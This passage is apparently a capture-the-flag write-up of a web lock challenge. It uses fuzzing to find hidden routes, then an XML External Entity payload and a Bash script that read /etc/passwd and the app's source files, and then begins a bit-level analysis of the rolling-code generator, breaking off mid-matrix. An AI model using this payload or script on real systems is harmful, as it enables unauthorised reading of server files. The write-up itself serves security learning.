Model E1337 - Rolling Code Lock
53 minutes to read
We have a simple website that requests a code to unlock:
We can put any number we want, and after a few seconds, we see it is incorrect:
There is nothing in the source code of the website. At this point, we can apply fuzzing to enumerate more routes if they exist:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://35.190.155.168/c33a5d03b6/FUZZ
admin [Status: 200, Size: 287, Words: 25, Lines: 11]
unlock [Status: 405, Size: 178, Words: 20, Lines: 5]
[Status: 200, Size: 302, Words: 16, Lines: 13]
There is an /admin route:
The source code for this page contains useful information:
If we go to /get-config, we will see an XML document:
$ curl http://35.190.155.168/c33a5d03b6/get-config
<?xml version="1.0" encoding="UTF-8"?><config><location>Front door</location></config>
The output is in XML, so this might be vulnerable to XML External Entity (XXE) injection. If there is a /get-config, it is likely that there is also a /set-config route:
$ curl http://35.190.155.168/c33a5d03b6/set-config
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
We obtain a 400 Bad Request, so probably we need to add some query parameters (for GET) or request body (using POST):
$ curl 'http://35.190.155.168/c33a5d03b6/set-config?location=asdf'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
$ curl http://35.190.155.168/c33a5d03b6/set-config -d location=asdf
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
It does not seem to be a POST request. Since the parameter location does not work, we can try to fuzz the parameter name using ffuf and filtering 400 status code:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://35.190.155.168/c33a5d03b6/set-config?FUZZ=asdf' -mc all -fc 400
data [Status: 500, Size: 291, Words: 38, Lines: 5]
If the parameter is called data we obtain a 500 Internal Server Error:
$ curl 'http://35.190.155.168/c33a5d03b6/set-config?data=asdf'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Let’s try putting the XML document of /get-config in the data parameter, but changing the location tag by asdf:
$ curl http://35.190.155.168/c33a5d03b6/set-config -G --data-urlencode 'data=<?xml version="1.0" encoding="UTF-8"?><config><location>asdf</location></config>'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="admin">admin</a>. If not click the link.
$ curl http://35.190.155.168/c33a5d03b6/admin
<!doctype html>
<html>
<head>
<title>Model E1337 — Home</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>Lock location: <input type="text" name="location" value="asdf" disabled></p>
<!-- We should be using get-config for this on the client side. -->
</body>
</html>
$ curl http://35.190.155.168/c33a5d03b6/admin -s | grep asdf
<p>Lock location: <input type="text" name="location" value="asdf" disabled></p>
And the value inside /admin has changed. Now, we can enter another XML document to read files using an XML External Entity like this:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<config>
<location>&xxe;</location>
</config>
$ curl http://35.190.155.168/c33a5d03b6/set-config -G --data-urlencode 'data=<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><config><location>&xxe;</location></config>'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="admin">admin</a>. If not click the link.
$ curl http://35.190.155.168/c33a5d03b6/admin
<!doctype html>
<html>
<head>
<title>Model E1337 — Home</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>Lock location: <input type="text" name="location" value="root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
" disabled></p>
<!-- We should be using get-config for this on the client side. -->
</body>
</html>
And we obtain the file /etc/passwd from the server. At this point, we can create a simple Bash script to pass the absolute path of a file and print its contents if it exists, just to automate the process:
#!/usr/bin/env bash
url=$1
file=$2
xml="<?xml version=\"1.0\"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file://$file\"> ]>
<config>
<location>
BEGINTAG
&xxe; ENDTAG
</location>
</config>"
curl $url/set-config -G --data-urlencode "data=$xml" &>/dev/null
res=$(curl $url/admin -s)
begin=$(( $(echo "$res" | grep -n BEGINTAG | awk -F : '{ print $1 }') + 1 ))
end=$(( $(echo "$res" | grep -n ENDTAG | awk -F : '{ print $1 }') - 1 ))
echo -n "$res" | sed -n "${begin},${end}p"
Now with this Bash script we can read files from the server specifying the absolute path:
$ bash xxe.sh http://35.190.155.168/c33a5d03b6 /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.20 c33a5d03b6b4
Although we know the server has nginx configured, we cannot show configuration files such as /etc/nginx/nginx.conf or /etc/nginx/sites-enabled/default.
However, we can guess that the server is running Flask (a Python web framework) because the HTTP response status messages are in capital letters:
$ curl http://35.190.155.168/c33a5d03b6/doesnotexist -I
HTTP/1.1 404 NOT FOUND
Server: nginx/1.14.0 (Ubuntu)
Date:
Content-Type: text/html
Content-Length: 233
Connection: keep-alive
Cache-Control: public, max-age=0
Pragma: no-cache
Expires: 0
And so, we can guess that the principal file for the back-end source code is app.py, main.py, index.py or server.py. And for directories, we may try with /app (usual in Docker containers). In the end, what works is /app/main.py. This is the file:
$ bash xxe.sh http://35.190.155.168/c33a5d03b6 /app/main.py
import json, os, time, xml.sax
from flask import Flask, redirect, request
from jinja2 import Template
from cStringIO import StringIO
from rng import *
# ^FLAG^xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
r.headers["Pragma"] = "no-cache"
r.headers["Expires"] = "0"
r.headers['Cache-Control'] = 'public, max-age=0'
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location
class Handler(xml.sax.ContentHandler):
def __init__(self):
self.location = None
def startElement(self, name, attrs):
if name == 'location':
self.location = ''
def endElement(self, name):
if name == 'location':
global location
location = self.location
self.location = None
def characters(self, content):
if self.location is not None:
self.location += content
@app.route('/set-config')
def setConfig():
data = request.args['data']
parser = xml.sax.make_parser()
parser.setContentHandler(Handler())
parser.parse(StringIO(data))
return redirect('admin')
app.run(host='0.0.0.0', port=80)
The file contains a comment with the first flag.
Now we can analyze the function that handles the locker shown on the main website:
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
The function called next is not the built-in one. In fact it is taken from rng:
from rng import *
So there must be a file called rng.py, which is this one:
$ bash xxe.sh http://35.190.155.168/c33a5d03b6 /app/rng.py
import random
def setup(seed):
global state
state = 0
for i in range(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
def next(bits):
global state
ret = 0
for _ in range(bits):
ret <<= 1
ret |= state & 1
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in range(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
return ret
setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))
This file is used to generate the rolling codes. We must obtain the next code provided one or more previous codes, or at least extract the initial seed in order to be able to generate valid rolling codes for the lock.
The script is using three important variables:
seed: The initial seed. It is completely random, and it is computed as:
seed = (random.randrange(0x10000) << 16) | random.randrange(0x10000)
ret: It is the next rolling code. It is computed using astatevariable. Basically, it is taking the last bit ofstateand putting it at the end ofretduring 26 iterations. However,statechanges on each iteration:
ret = 0
for _ in range(26):
ret <<= 1
ret |= state & 1
# Changes in state
state: It is initially generated by theseedas:
state = 0
for i in range(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
But this is not useful since the seed is random. We see that the state changes on each execution of next, and actually, on each of the 26 iterations within a single call to next:
for _ in range(26):
# Changes in ret
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in range(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
First, we have this operation (using a 64-bit integer as an array of bits):
$$ \mathrm{state} = [s_{63}, s_{62}, s_{61}, s_{60}, \dots, s_2, s_1, s_0] $$
$$ \mathrm{state} = [s_{62}, s_{61}, s_{60}, \dots, s_2, s_1, s_0, 0] \,\,\hat{}\,\, [0, 0, 0, \dots, 0, s_{63}, s_{62}, s_{61}] $$
$$ \mathrm{state} = [s_{62}, s_{61}, s_{60}, \dots, s_2, (s_1 \,\,\hat{}\,\, s_{63}), (s_0 \,\,\hat{}\,\, s_{62}), s_{61}] $$
$$ \mathrm{state} = [\overline{s_{62}}, \overline{s_{61}}, \overline{s_{60}}, \dots, \overline{s_2}, \overline{(s_1 \,\,\hat{}\,\, s_{63})}, \overline{(s_0 \,\,\hat{}\,\, s_{62})}, \overline{s_{61}}] $$
And now, we have operations for every 4 bits of state (set into cur). For example:
$$ \mathrm{cur} = [s_3, s_2, s_1, s_0] $$
$$ \mathrm{cur} = [0, 0, 0, s_3] \quad|\quad [0, 0, s_3, 0] \quad|\quad [s_0, 0, 0, 0] \quad|\quad [0, s_0, 0, 0] $$
$$ \mathrm{cur} = [s_0, s_0, s_3, s_3] $$
$$ \mathrm{state}[3..0] = [s_3, s_2, s_1, s_0] \,\,\hat{}\,\, [s_0, s_0, s_3, s_3] $$
So that the state is changed like this:
$$ \mathrm{state}[3..0] = [(s_3 \,\,\hat{}\,\, s_0), (s_2 \,\,\hat{}\,\, s_0), (s_1 \,\,\hat{}\,\, s_3), (s_0 \,\,\hat{}\,\, s_3)] $$
And therefore, the whole state variable changes in this way (notice that in every quartet, the first and last bits are equal):
$$ \mathrm{state}[63..60] = [(s_{63} \,\,\hat{}\,\, s_{60}), (s_{62} \,\,\hat{}\,\, s_{60}), (s_{61} \,\,\hat{}\,\, s_{63}), (s_{60} \,\,\hat{}\,\, s_{63})] $$
$$ \mathrm{state}[59..56] = [(s_{59} \,\,\hat{}\,\, s_{56}), (s_{58} \,\,\hat{}\,\, s_{56}), (s_{59} \,\,\hat{}\,\, s_{59}), (s_{56} \,\,\hat{}\,\, s_{59})] $$
$$ \dots $$
$$ \mathrm{state}[3..0] = [(s_3 \,\,\hat{}\,\, s_0), (s_2 \,\,\hat{}\,\, s_0), (s_1 \,\,\hat{}\,\, s_3), (s_0 \,\,\hat{}\,\, s_3)] $$
Finally, if we join both stages for the change in state we have this:
$$ \mathrm{state} = [s_{63}, s_{62}, s_{61}, s_{60}, \dots, s_2, s_1, s_0] $$
And the next state will be:
$$ \mathrm{state} = [(\overline{s_{62}} \,\,\hat{}\,\, \overline{s_{59}}), (\overline{s_{61}} \,\,\hat{}\,\, \overline{s_{59}}), (\overline{s_{60}} \,\,\hat{}\,\, \overline{s_{62}}), (\overline{s_{59}} \,\,\hat{}\,\, \overline{s_{62}}), $$
$$ (\overline{s_{58}} \,\,\hat{}\,\, \overline{s_{55}}), (\overline{s_{57}} \,\,\hat{}\,\, \overline{s_{55}}), (\overline{s_{56}} \,\,\hat{}\,\, \overline{s_{58}}), (\overline{s_{55}} \,\,\hat{}\,\, \overline{s_{58}}), $$
$$ \dots $$
$$ (\overline{s_6} \,\,\hat{}\,\, \overline{s_3}), (\overline{s_5} \,\,\hat{}\,\, \overline{s_3}), (\overline{s_4} \,\,\hat{}\,\, \overline{s_6}), (\overline{s_3} \,\,\hat{}\,\, \overline{s_6}), $$
$$ (\overline{s_2} \,\,\hat{}\,\, \overline{s_{61}}), (\overline{(s_1 \,\,\hat{}\,\, s_{63})} \,\,\hat{}\,\, \overline{s_{61}}), (\overline{(s_0 \,\,\hat{}\,\, s_{62})} \,\,\hat{}\,\, \overline{s_2}), (\overline{s_{61}} \,\,\hat{}\,\, \overline{s_2})] $$
Notice that $\overline{a} \,\,\hat{}\,\, \overline{b} = a \,\,\hat{}\,\, b$, so the next state can be simplified to:
$$ \mathrm{state} = [(s_{59} \,\,\hat{}\,\, s_{62}), (s_{59} \,\,\hat{}\,\, s_{61}), (s_{60} \,\,\hat{}\,\, s_{62}), (s_{59} \,\,\hat{}\,\, s_{62}), $$
$$ (s_{55} \,\,\hat{}\,\, s_{58}), (s_{55} \,\,\hat{}\,\, s_{57}), (s_{56} \,\,\hat{}\,\, s_{58}), (s_{55} \,\,\hat{}\,\, s_{58}), $$
$$ \dots $$
$$ (s_3 \,\,\hat{}\,\, s_6), (s_3 \,\,\hat{}\,\, s_5), (s_4 \,\,\hat{}\,\, s_6), (s_3 \,\,\hat{}\,\, s_6), $$
$$ (s_2 \,\,\hat{}\,\, s_{61}), (s_1 \,\,\hat{}\,\, s_{61} \,\,\hat{}\,\, s_{63}), (s_0 \,\,\hat{}\,\, s_2 \,\,\hat{}\,\, s_{62}), (s_2 \,\,\hat{}\,\, s_{61})] $$
Remember that this new state is for the next iteration of the rolling code algorithm. We could continue like this until the last iteration, but it will be really big. Instead, we can create a 64x64 matrix that, given a state, produces the next one (it is really big as well, but it is better to work with):
$$ \begin{pmatrix} 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 